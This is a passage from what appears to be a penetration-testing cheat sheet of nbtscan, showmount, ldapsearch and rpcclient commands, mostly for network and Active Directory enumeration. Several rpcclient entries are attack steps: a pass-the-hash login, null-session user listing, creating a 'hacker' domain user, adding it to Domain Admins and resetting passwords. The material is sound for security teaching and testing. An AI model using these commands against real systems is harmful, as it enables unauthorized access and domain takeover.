ldap://192.168.1.10 -b "dc=example,dc=local" "(cn~=john)" ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(cn~=john)" ``` Uses the 'approximate' (sounds like) operator to find values that sound like 'john'. ## Schema Recon ### ldapsearch -x -H ldap://192.168.1.10 -b "cn=schema" -s base objectClasses ```bash ldapsearch -x -H ldap://192.168.1.10 -b "cn=schema" -s base objectClasses ``` Dumps the full list of Object Classes defined in the schema. ## LDIF Import Format ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -L > backup.ldif ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -L > backup.ldif ``` Redirects standard output to a file to create a backup in LDIF format. ## Advanced ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -E !pr=1000/noprompt ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -E !pr=1000/noprompt ``` Uses the 'Critical' (!) flag with paging, forcing the server to return an error if it doesn't support paging. ## Attribute Filtering ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(objectClass=*)" 1.1 ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" "(objectClass=*)" 1.1 ``` Requests the special attribute '1.1', which tells the server to return entries with NO attributes (DNs only). ## Time Limit ### ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -l 0 ```bash ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=local" -l 0 ``` Sets the time limit to 0 (unlimited), instructing the client to wait indefinitely for the server response. ## Related tools - [CrackMapExec (enumeration)](https://terminal.rokibulroni.com/tool/enumeration/crackmapexec-enum) - [BloodHound.py](https://terminal.rokibulroni.com/tool/active-directory/bloodhound-python) - [rpcclient](https://terminal.rokibulroni.com/tool/enumeration/rpcclient) # Tool: nbtscan > Scans networks for NetBIOS name information — hostnames, logged-in users and MAC addresses of Windows machines. - Category: Enumeration - Commands: 30 - Page: https://terminal.rokibulroni.com/tool/enumeration/nbtscan - Homepage: http://www.unixwiz.net/tools/nbtscan.html - Tags: NetBIOS, SMB, host discovery ## Install - apt: `sudo apt install nbtscan` ## Basic NetBIOS Host Discovery ### nbtscan 192.168.1.0/24 ```bash nbtscan 192.168.1.0/24 ``` Scans the entire CIDR subnet to discover hosts sharing NetBIOS information. ## Single Host Scanning ### nbtscan 10.10.10.55 ```bash nbtscan 10.10.10.55 ``` Queries a specific IP address to identify its NetBIOS name and MAC address. ## Range Based Scanning ### nbtscan 192.168.1.1-100 ```bash nbtscan 192.168.1.1-100 ``` Scans a specific range of IP addresses within a subnet. ## Multiple Target Scanning ### nbtscan 192.168.1.50 192.168.1.55 192.168.1.60 ```bash nbtscan 192.168.1.50 192.168.1.55 192.168.1.60 ``` Scans multiple individually specified IP addresses in a single command. ## Verbose Output Modes ### nbtscan -v 192.168.1.0/24 ```bash nbtscan -v 192.168.1.0/24 ``` Enables verbose mode to display names and services for each discovered host. ## OS and Server Type Identification ### nbtscan -h 192.168.1.0/24 ```bash nbtscan -h 192.168.1.0/24 ``` Displays human-readable names for NetBIOS services to help identify server roles. ## Combined Verbose Enumeration ### nbtscan -vh 192.168.1.0/24 ```bash nbtscan -vh 192.168.1.0/24 ``` Combines verbose output with human-readable descriptions for detailed analysis. ## Quiet and Minimal Output ### nbtscan -q 10.10.10.0/24 ```bash nbtscan -q 10.10.10.0/24 ``` Suppresses headers and banners for cleaner output suitable for lists. ## Script Friendly Output ### nbtscan -s "," 192.168.1.0/24 ```bash nbtscan -s "," 192.168.1.0/24 ``` Uses a comma separator between fields to generate CSV-style output. ## Custom Delimiter Parsing ### nbtscan -s "|" 192.168.1.0/24 ```bash nbtscan -s "|" 192.168.1.0/24 ``` Uses a pipe character as a separator for easy parsing in shell scripts. ## Format for ETC Hosts ### nbtscan -e 192.168.1.0/24 ```bash nbtscan -e 192.168.1.0/24 ``` Formats the output to be compatible with the /etc/hosts file format. ## Format for LMHOSTS ### nbtscan -l 192.168.1.0/24 ```bash nbtscan -l 192.168.1.0/24 ``` Formats the output to be compatible with the Windows LMHOSTS file format. ## Input from File ### nbtscan -f targets.txt ```bash nbtscan -f targets.txt ``` Reads a list of IP addresses or subnets from a text file for scanning. ## Broadcast and Unicast Scanning ### nbtscan -r 192.168.1.0/24 ```bash nbtscan -r 192.168.1.0/24 ``` Forces the scan to use local source port 137 to bypass some firewall filters. ## Timeout Control ### nbtscan -t 2000 192.168.1.0/24 ```bash nbtscan -t 2000 192.168.1.0/24 ``` Sets the wait time for responses to 2000 milliseconds (2 seconds). ## Fast Scanning ### nbtscan -t 500 192.168.1.0/24 ```bash nbtscan -t 500 192.168.1.0/24 ``` Reduces the timeout to 500ms for a faster scan on low-latency local networks. ## Retry Control ### nbtscan -m 3 192.168.1.0/24 ```bash nbtscan -m 3 192.168.1.0/24 ``` Retransmits the query 3 times if no response is received. ## Reliable Deep Scan ### nbtscan -m 5 -t 3000 192.168.1.0/24 ```bash nbtscan -m 5 -t 3000 192.168.1.0/24 ``` Increases retries and timeouts to maximize discovery on congested networks. ## Packet Dump Debugging ### nbtscan -d 10.10.10.50 ```bash nbtscan -d 10.10.10.50 ``` Dumps the full packet contents received for debugging protocol issues. ## Red Team Internal Reconnaissance ### nbtscan -q -s ":" 192.168.1.0/24 ```bash nbtscan -q -s ":" 192.168.1.0/24 ``` Produces quiet, colon-separated output ideal for feeding into other attack tools. ## Blue Team Asset Inventory ### nbtscan -e 192.168.1.0/24 > inventory.txt ```bash nbtscan -e 192.168.1.0/24 > inventory.txt ``` Generates a hostname-to-IP mapping file for network inventory documentation. ## Firewall Evasion Attempt ### nbtscan -r -t 1500 10.10.10.0/24 ```bash nbtscan -r -t 1500 10.10.10.0/24 ``` Uses source port 137 with a moderate timeout to traverse strict ACLs. ## DHCP Scope Discovery ### nbtscan 192.168.1.100-200 ```bash nbtscan 192.168.1.100-200 ``` Scans a specific DHCP pool range to find active Windows leases. ## Domain Controller Identification ### nbtscan -hv 192.168.1.0/24 | grep "DC" ```bash nbtscan -hv 192.168.1.0/24 | grep "DC" ``` Scans with service descriptions and filters for Domain Controller indicators. ## MAC Address Discovery ### nbtscan -s " " 192.168.1.0/24 ```bash nbtscan -s " " 192.168.1.0/24 ``` Uses a space separator to cleanly expose the MAC address column. ## Incident Response Snapshot ### nbtscan -v -s "," 192.168.1.0/24 ```bash nbtscan -v -s "," 192.168.1.0/24 ``` Captures verbose details in a CSV format for forensic timeline analysis. ## Legacy Network Mapping ### nbtscan -l 10.0.0.0/8 ```bash nbtscan -l 10.0.0.0/8 ``` Scans a large Class A network (slow) and outputs in LMHOSTS format. ## No Header Scripting ### nbtscan -q -e 192.168.1.0/24 ```bash nbtscan -q -e 192.168.1.0/24 ``` Outputs only the host definitions without table headers for immediate processing. ## Aggressive Discovery ### nbtscan -r -m 10 192.168.1.0/24 ```bash nbtscan -r -m 10 192.168.1.0/24 ``` Uses root-level source ports and high retries for stubborn hosts. ## Full Comprehensive Scan ### nbtscan -v -h -r -t 2000 192.168.1.0/24 ```bash nbtscan -v -h -r -t 2000 192.168.1.0/24 ``` Maximizes information gathering with verbose, readable, robust settings. ## Related tools - [enum4linux](https://terminal.rokibulroni.com/tool/enumeration/enum4linux) - [Nmap](https://terminal.rokibulroni.com/tool/network/nmap) # Tool: NFS enumeration > Enumerating and mounting NFS exports: list shares, check their access controls and mount them to inspect files and permissions. - Category: Enumeration - Commands: 25 - Page: https://terminal.rokibulroni.com/tool/enumeration/nfs-showmount - Documentation: https://man7.org/linux/man-pages/man8/showmount.8.html - Tags: NFS, file shares ## Install - apt: `sudo apt install nfs-common` ## Basic Export Enumeration ### showmount -e 192.168.1.20 ```bash showmount -e 192.168.1.20 ``` Lists the NFS export list (shared directories) available on the target IPv4 address. ### showmount --exports 10.10.10.15 ```bash showmount --exports 10.10.10.15 ``` Uses the long-form flag to request the list of exported filesystems from the target. ## Hostname Based Enumeration ### showmount -e nfs.example.local ```bash showmount -e nfs.example.local ``` Queries the NFS exports from a target identified by its DNS hostname or FQDN. ## Local Host Enumeration ### showmount -e ```bash showmount -e ``` Queries the local host's rpc.mountd to see what the local machine is currently exporting. ## Local Host Enumeration (Explicit) ### showmount -e localhost ```bash showmount -e localhost ``` Explicitly targets the localhost loopback interface to verify local NFS export configurations. ## Client Access and Permission Enumeration ### showmount -a 192.168.1.20 ```bash showmount -a 192.168.1.20 ``` Lists all mount points in the form 'host:dir' to see which clients are currently connected. ### showmount --all 10.10.10.15 ```bash showmount --all 10.10.10.15 ``` Uses the long-form flag to display both the client hostname and the directory they have mounted. ## Blue Team Exposure Validation ### showmount -a nfs-server.corp.internal ```bash showmount -a nfs-server.corp.internal ``` Checks a specific corporate server to identify unauthorized active client connections. ## Listing Mounted Directories ### showmount -d 192.168.1.20 ```bash showmount -d 192.168.1.20 ``` Lists only the directories that are currently mounted by remote clients, excluding client IPs. ### showmount --directories 10.10.10.15 ```bash showmount --directories 10.10.10.15 ``` Uses the long-form flag to list only the filesystem paths currently in use by clients. ## Quiet and Script Friendly Output ### showmount -e --no-headers 192.168.1.20 ```bash showmount -e --no-headers 192.168.1.20 ``` Lists exports without the descriptive header line, ideal for parsing in bash scripts. ### showmount -a --no-headers 10.10.10.15 ```bash showmount -a --no-headers 10.10.10.15 ``` Lists active client mounts without headers for easy text processing or piping to awk. ### showmount -d --no-headers 192.168.1.50 ```bash showmount -d --no-headers 192.168.1.50 ``` Lists actively mounted directories without headers to quickly identify hot data paths. ## IPv6 Target Enumeration ### showmount -e 2001:db8::1 ```bash showmount -e 2001:db8::1 ``` Queries NFS exports on a target using its IPv6 address. ## IPv6 Client Enumeration ### showmount -a 2001:db8::1 ```bash showmount -a 2001:db8::1 ``` Lists active clients and mount points on an IPv6-enabled NFS server. ## Red Team Initial Reconnaissance ### showmount -e --no-headers target-dmz.local ```bash showmount -e --no-headers target-dmz.local ``` Stealthier initial check for exports on a DMZ target to feed directly into mount tools. ## Red Team Active User Reconnaissance ### showmount -a --no-headers 192.168.100.10 ```bash showmount -a --no-headers 192.168.100.10 ``` Identifies which IP addresses are actively using the share to target specific users. ## Incident Response Assessment ### showmount -a 127.0.0.1 ```bash showmount -a 127.0.0.1 ``` Run locally on a compromised server to identify if data is actively being exfiltrated via NFS. ## Tool Verification and Help ### showmount --help ```bash showmount --help ``` Displays the help message to verify supported flags and syntax. ## Tool Verification and Version ### showmount --version ```bash showmount --version ``` Checks the installed version of nfs-utils/showmount for compatibility or bug checking. ## Advanced Combined Enumeration (Exports) ### showmount --exports --no-headers 172.16.1.5 ```bash showmount --exports --no-headers 172.16.1.5 ``` Combines long-form export flag with no-headers for clear, verbose-syntax scripting. ## Advanced Combined Enumeration (All) ### showmount --all --no-headers 172.16.1.5 ```bash showmount --all --no-headers 172.16.1.5 ``` Combines long-form all flag with no-headers to audit connections programmatically. ## Advanced Combined Enumeration (Directories) ### showmount --directories --no-headers 172.16.1.5 ```bash showmount --directories --no-headers 172.16.1.5 ``` Combines long-form directory flag with no-headers to map active file system usage. ## Blue Team Hardening Validation ### showmount -e 10.0.0.5 ```bash showmount -e 10.0.0.5 ``` Verifies that sensitive directories are not being exported to the world (everyone). ### showmount -a 10.0.0.5 ```bash showmount -a 10.0.0.5 ``` Verifies that only authorized hosts are currently mounted to the NFS shares. ## Related tools - [showmount](https://terminal.rokibulroni.com/tool/enumeration/showmount) - [Nmap](https://terminal.rokibulroni.com/tool/network/nmap) # Tool: rpcclient > Samba’s MS-RPC client. Queries domain users, groups, password policies and SIDs over SMB, often with a null or low-privilege session. - Category: Enumeration - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/enumeration/rpcclient - Homepage: https://www.samba.org - Documentation: https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html - Tags: MS-RPC, SMB, Active Directory ## Install - apt: `sudo apt install smbclient` ## Basic Connection ### rpcclient -U "" 192.168.1.10 ```bash rpcclient -U "" 192.168.1.10 ``` Connects to the target RPC service using a null session without authentication. ### rpcclient -U "" -N 192.168.1.10 ```bash rpcclient -U "" -N 192.168.1.10 ``` Connects using a null session and explicitly suppresses the password prompt. ### rpcclient -U "%" 192.168.1.10 ```bash rpcclient -U "%" 192.168.1.10 ``` Attempts to connect with a blank username and blank password shorthand. ### rpcclient -U "user" 192.168.1.10 ```bash rpcclient -U "user" 192.168.1.10 ``` Example: ```bash rpcclient -U "administrator" 192.168.1.10 ``` Connects specifying a username and prompts interactively for the password. ### rpcclient -U "user%password" 192.168.1.10 ```bash rpcclient -U "user%password" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%Password123" 192.168.1.10 ``` Connects using a username and password provided inline for automation. ## Authentication ### rpcclient -W WORKGROUP -U "user%pass" 192.168.1.10 ```bash rpcclient -W WORKGROUP -U "user%pass" 192.168.1.10 ``` Example: ```bash rpcclient -W CORP -U "jsmith%Summer2023" 10.10.10.5 ``` Authenticates to a specific workgroup or domain controller. ### rpcclient -k 192.168.1.10 ```bash rpcclient -k 192.168.1.10 ``` Example: ```bash rpcclient -k dc.example.local ``` Uses Kerberos authentication instead of NTLM (requires valid ticket). ### rpcclient --pw-nt-hash "hash" -U "user" 192.168.1.10 ```bash rpcclient --pw-nt-hash "hash" -U "user" 192.168.1.10 ``` Example: ```bash rpcclient --pw-nt-hash "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" -U "Administrator" 192.168.1.10 ``` Performs a Pass-the-Hash attack by authenticating with an NT hash. ## Transport Configuration ### rpcclient -I 192.168.1.10 target_netbios_name ```bash rpcclient -I 192.168.1.10 target_netbios_name ``` Example: ```bash rpcclient -I 192.168.1.10 FILESERVER01 ``` Forces the destination IP address while resolving a specific NetBIOS name. ### rpcclient -p 445 192.168.1.10 ```bash rpcclient -p 445 192.168.1.10 ``` Connects explicitly over SMB port 445 (TCP). ### rpcclient -p 139 192.168.1.10 ```bash rpcclient -p 139 192.168.1.10 ``` Connects explicitly over NetBIOS Session port 139 (TCP). ## Security Options ### rpcclient -S on 192.168.1.10 ```bash rpcclient -S on 192.168.1.10 ``` Enforces SMB signing state to 'on' for the connection. ### rpcclient -P 192.168.1.10 ```bash rpcclient -P 192.168.1.10 ``` Requests SMB sealing (encryption) for the connection. ## Batch Mode ### rpcclient -c "command" 192.168.1.10 ```bash rpcclient -c "command" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "srvinfo" 192.168.1.10 ``` Executes a single RPC command non-interactively and exits. ### rpcclient -c "cmd1; cmd2" 192.168.1.10 ```bash rpcclient -c "cmd1; cmd2" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "srvinfo; netshareenum" 192.168.1.10 ``` Executes multiple RPC commands in sequence separated by semicolons. ## Server Information ### rpcclient -c "srvinfo" 192.168.1.10 ```bash rpcclient -c "srvinfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "srvinfo" 192.168.1.10 ``` Retrieves basic server information including OS version and server type. ## OS and Server Information ### rpcclient -c "srvinfo 101" 192.168.1.10 ```bash rpcclient -c "srvinfo 101" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "srvinfo 101" 192.168.1.10 ``` Retrieves Level 101 server information for detailed versioning. ## Shares and Resources ### rpcclient -c "netshareenum" 192.168.1.10 ```bash rpcclient -c "netshareenum" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "netshareenum" 192.168.1.10 ``` Enumerates available network shares on the target using Level 1 info. ### rpcclient -c "netshareenumall" 192.168.1.10 ```bash rpcclient -c "netshareenumall" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "netshareenumall" 192.168.1.10 ``` Enumerates all shares including administrative hidden shares (C$, IPC$, etc). ### rpcclient -c "netsharegetinfo ShareName" 192.168.1.10 ```bash rpcclient -c "netsharegetinfo ShareName" 192.168.1.10 ``` Example: ```bash rpcclient -U "user%pass" -c "netsharegetinfo IPC$" 192.168.1.10 ``` Retrieves detailed information about a specific share. ## Session Enumeration ### rpcclient -c "netsessenum" 192.168.1.10 ```bash rpcclient -c "netsessenum" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "netsessenum" 192.168.1.10 ``` Lists active sessions established by users on the target machine. ## File Enumeration ### rpcclient -c "netfileenum" 192.168.1.10 ```bash rpcclient -c "netfileenum" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "netfileenum" 192.168.1.10 ``` Lists files currently opened by remote users. ## Disk Enumeration ### rpcclient -c "netdiskenum" 192.168.1.10 ```bash rpcclient -c "netdiskenum" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "netdiskenum" 192.168.1.10 ``` Enumerates physical disk drives associated with shares. ## Domain Information ### rpcclient -c "dsroledominfo" 192.168.1.10 ```bash rpcclient -c "dsroledominfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "dsroledominfo" 192.168.1.10 ``` Displays the role of the server within the domain (e.g., PDC, Backup, Member). ## LSA Enumeration ### rpcclient -c "lsaquery" 192.168.1.10 ```bash rpcclient -c "lsaquery" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "lsaquery" 192.168.1.10 ``` Queries the LSA policy handle to retrieve the Domain SID and Name. ## SID Lookup ### rpcclient -c "lookupnames username" 192.168.1.10 ```bash rpcclient -c "lookupnames username" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "lookupnames administrator" 192.168.1.10 ``` Resolves a username to its corresponding SID (Security Identifier). ### rpcclient -c "lookupsids SID" 192.168.1.10 ```bash rpcclient -c "lookupsids SID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "lookupsids S-1-5-21-12345-67890-500" 192.168.1.10 ``` Resolves a specific SID back to its username or group name. ## Privilege Enumeration ### rpcclient -c "enumprivs" 192.168.1.10 ```bash rpcclient -c "enumprivs" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumprivs" 192.168.1.10 ``` Enumerates all privileges supported by the system's LSA. ## Trust Enumeration ### rpcclient -c "enumtrusts" 192.168.1.10 ```bash rpcclient -c "enumtrusts" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumtrusts" 192.168.1.10 ``` Lists trusted domains and their SIDs. ## Account Rights ### rpcclient -c "enumacctrights" 192.168.1.10 ```bash rpcclient -c "enumacctrights" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumacctrights" 192.168.1.10 ``` Enumerates privileges assigned to accounts. ## Context Information ### rpcclient -c "getusername" 192.168.1.10 ```bash rpcclient -c "getusername" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getusername" 192.168.1.10 ``` Returns the username of the current authenticated session context. ## User Enumeration ### rpcclient -c "enumdomusers" 192.168.1.10 ```bash rpcclient -c "enumdomusers" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumdomusers" 192.168.1.10 ``` Lists all domain users with their RIDs. ### rpcclient -c "querydispinfo" 192.168.1.10 ```bash rpcclient -c "querydispinfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querydispinfo" 192.168.1.10 ``` Lists users with full names and descriptions (often works when enumdomusers fails). ### rpcclient -c "querydispinfo2" 192.168.1.10 ```bash rpcclient -c "querydispinfo2" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querydispinfo2" 192.168.1.10 ``` Alternative query info level 2 for user enumeration. ### rpcclient -c "querydispinfo3" 192.168.1.10 ```bash rpcclient -c "querydispinfo3" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querydispinfo3" 192.168.1.10 ``` Alternative query info level 3 for user enumeration. ## Group Enumeration ### rpcclient -c "enumdomgroups" 192.168.1.10 ```bash rpcclient -c "enumdomgroups" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumdomgroups" 192.168.1.10 ``` Lists all global domain groups and their RIDs. ### rpcclient -c "enumalsgroups domain" 192.168.1.10 ```bash rpcclient -c "enumalsgroups domain" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumalsgroups builtin" 192.168.1.10 ``` Enumerates alias (local) groups, often used with 'builtin' to find Administrators. ## User Details ### rpcclient -c "queryuser RID" 192.168.1.10 ```bash rpcclient -c "queryuser RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "queryuser 500" 192.168.1.10 ``` Retrieves detailed account information (logon time, expiration, path) for a user RID. ### rpcclient -c "queryusergroups RID" 192.168.1.10 ```bash rpcclient -c "queryusergroups RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "queryusergroups 500" 192.168.1.10 ``` Lists the groups that a specific user RID belongs to. ## Group Details ### rpcclient -c "querygroup RID" 192.168.1.10 ```bash rpcclient -c "querygroup RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querygroup 512" 192.168.1.10 ``` Retrieves detailed information about a specific global group. ## Group Membership ### rpcclient -c "querygroupmem RID" 192.168.1.10 ```bash rpcclient -c "querygroupmem RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querygroupmem 512" 192.168.1.10 ``` Lists the members (RIDs) of a specific global domain group. ### rpcclient -c "queryaliasmem RID" 192.168.1.10 ```bash rpcclient -c "queryaliasmem RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "queryaliasmem 544" 192.168.1.10 ``` Lists the members of a local alias group (e.g., RID 544 for Administrators). ## Alias Details ### rpcclient -c "queryaliasinfo RID" 192.168.1.10 ```bash rpcclient -c "queryaliasinfo RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "queryaliasinfo 544" 192.168.1.10 ``` Retrieves information about a specific alias group. ## Password Policy ### rpcclient -c "getdompwinfo" 192.168.1.10 ```bash rpcclient -c "getdompwinfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getdompwinfo" 192.168.1.10 ``` Retrieves the domain password policy (complexity, min length, history). ### rpcclient -c "getusrdompwinfo RID" 192.168.1.10 ```bash rpcclient -c "getusrdompwinfo RID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getusrdompwinfo 500" 192.168.1.10 ``` Retrieves password policy information specific to a user RID. ## Printer Enumeration ### rpcclient -c "enumprinters" 192.168.1.10 ```bash rpcclient -c "enumprinters" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumprinters" 192.168.1.10 ``` Enumerates printers installed on the remote system. ### rpcclient -c "enumports" 192.168.1.10 ```bash rpcclient -c "enumports" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumports" 192.168.1.10 ``` Enumerates printer ports. ### rpcclient -c "enumdrivers" 192.168.1.10 ```bash rpcclient -c "enumdrivers" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumdrivers" 192.168.1.10 ``` Enumerates installed printer drivers. ### rpcclient -c "enumjobs" 192.168.1.10 ```bash rpcclient -c "enumjobs" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumjobs" 192.168.1.10 ``` Enumerates current print jobs in the queue. ### rpcclient -c "getprinter PrinterName" 192.168.1.10 ```bash rpcclient -c "getprinter PrinterName" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getprinter 'Microsoft XPS Document Writer'" 192.168.1.10 ``` Retrieves specific configuration details for a named printer. ## DFS Enumeration ### rpcclient -c "dfsquery" 192.168.1.10 ```bash rpcclient -c "dfsquery" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "dfsquery" 192.168.1.10 ``` Queries Distributed File System (DFS) information. ## Service Enumeration ### rpcclient -c "enumservices" 192.168.1.10 ```bash rpcclient -c "enumservices" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "enumservices" 192.168.1.10 ``` Enumerates services running on the remote host (requires specific access). ## Logon Information ### rpcclient -c "netlogon" 192.168.1.10 ```bash rpcclient -c "netlogon" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "netlogon" 192.168.1.10 ``` Attempts to trigger a netlogon event. ### rpcclient -c "logonctrl2" 192.168.1.10 ```bash rpcclient -c "logonctrl2" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "logonctrl2" 192.168.1.10 ``` Retrieves logon control information using version 2 protocol. ## Domain Info ### rpcclient -c "querydominfo" 192.168.1.10 ```bash rpcclient -c "querydominfo" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "querydominfo" 192.168.1.10 ``` Queries general domain information. ## Red Team / Account Creation ### rpcclient -c "createdomuser username" 192.168.1.10 ```bash rpcclient -c "createdomuser username" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "createdomuser hacker" 192.168.1.10 ``` Creates a new domain user (requires administrative privileges). ### rpcclient -c "deletedomuser username" 192.168.1.10 ```bash rpcclient -c "deletedomuser username" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "deletedomuser hacker" 192.168.1.10 ``` Deletes a domain user (requires administrative privileges). ## Red Team / Groups ### rpcclient -c "adddomgroupmem GroupRID UserRID" 192.168.1.10 ```bash rpcclient -c "adddomgroupmem GroupRID UserRID" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "adddomgroupmem 512 1001" 192.168.1.10 ``` Adds a user RID to a domain group RID (requires privileges). ### rpcclient -c "deldomgroupmem GroupRID UserRID" 192.168.1.10 ```bash rpcclient -c "deldomgroupmem GroupRID UserRID" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "deldomgroupmem 512 1001" 192.168.1.10 ``` Removes a user RID from a domain group RID (requires privileges). ## Red Team / Passwords ### rpcclient -c "setuserinfo2 RID 24 'password'" 192.168.1.10 ```bash rpcclient -c "setuserinfo2 RID 24 'password'" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "setuserinfo2 1001 24 'P@ssw0rd!'" 192.168.1.10 ``` Resets a user's password directly via RPC (Info level 24). ## RID Cycling ### rpcclient -c "lookupsids S-1-5-21-X-X-500; lookupsids S-1-5-21-X-X-501" 192.168.1.10 ```bash rpcclient -c "lookupsids S-1-5-21-X-X-500; lookupsids S-1-5-21-X-X-501" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "lookupsids S-1-5-21-123-456-500; lookupsids S-1-5-21-123-456-501" 192.168.1.10 ``` Manual RID cycling example checking common RIDs 500 and 501. ## Security Testing ### rpcclient -c "samlogon username" 192.168.1.10 ```bash rpcclient -c "samlogon username" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "samlogon administrator" 192.168.1.10 ``` Attempts a SAM logon to test account validity. ## Time Information ### rpcclient -c "nettime" 192.168.1.10 ```bash rpcclient -c "nettime" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "nettime" 192.168.1.10 ``` Queries the remote server's system time. ## Registry (Simulated) ### rpcclient -c "shutdown" 192.168.1.10 ```bash rpcclient -c "shutdown" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "shutdown" 192.168.1.10 ``` Attempts to shut down the remote server via RPC (rarely works, dangerous). ## Debug Mode ### rpcclient -d 3 -U "" -N 192.168.1.10 ```bash rpcclient -d 3 -U "" -N 192.168.1.10 ``` Runs rpcclient with debug level 3 for troubleshooting connection issues. ### rpcclient -d 10 -U "" 192.168.1.10 ```bash rpcclient -d 10 -U "" 192.168.1.10 ``` Runs with maximum debug verbosity (Level 10) for deep packet inspection. ## Scripting ### rpcclient -c "querydispinfo" 192.168.1.10 | grep "Name:" ```bash rpcclient -c "querydispinfo" 192.168.1.10 | grep "Name:" ``` Example: ```bash rpcclient -U "" -N -c "querydispinfo" 192.168.1.10 | grep "Name:" ``` Example of piping rpcclient output for clean user list extraction. ## LSA Secrets ### rpcclient -c "getprimarydomain" 192.168.1.10 ```bash rpcclient -c "getprimarydomain" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getprimarydomain" 192.168.1.10 ``` Retrieves the primary domain name of the target. ## Configuration ### rpcclient -s /etc/samba/smb.conf 192.168.1.10 ```bash rpcclient -s /etc/samba/smb.conf 192.168.1.10 ``` Example: ```bash rpcclient -s /tmp/custom_smb.conf -U "" 192.168.1.10 ``` Uses a custom Samba configuration file for the client connection. ## Domain Info ### rpcclient -c "dsenumdomtrusts" 192.168.1.10 ```bash rpcclient -c "dsenumdomtrusts" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "dsenumdomtrusts" 192.168.1.10 ``` Enumerates domain trusts using Directory Service RPC calls. ## Timeout Configuration ### rpcclient -t 10 -U "" 192.168.1.10 ```bash rpcclient -t 10 -U "" 192.168.1.10 ``` Sets the connection timeout to 10 seconds. ## Advanced ### rpcclient -c "getremotetod" 192.168.1.10 ```bash rpcclient -c "getremotetod" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "getremotetod" 192.168.1.10 ``` Gets the Time of Day (TOD) from the remote server. ## User Details ### rpcclient -c "queryuseraliases BuiltinRID DomainSID" 192.168.1.10 ```bash rpcclient -c "queryuseraliases BuiltinRID DomainSID" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "queryuseraliases 544 S-1-5-21-12345" 192.168.1.10 ``` Queries which aliases a specific user SID belongs to. ## LSA Info ### rpcclient -c "lsaquerysecobj" 192.168.1.10 ```bash rpcclient -c "lsaquerysecobj" 192.168.1.10 ``` Example: ```bash rpcclient -U "" -N -c "lsaquerysecobj" 192.168.1.10 ``` Queries LSA security objects. ## Group Creation ### rpcclient -c "createdomgroup GroupName" 192.168.1.10 ```bash rpcclient -c "createdomgroup GroupName" 192.168.1.10 ``` Example: ```bash rpcclient -U "admin%pass" -c "createdomgroup NewGroup" 192.168.1.10 ``` Creates a new domain group (requires privileges). ## Group Deletion ### 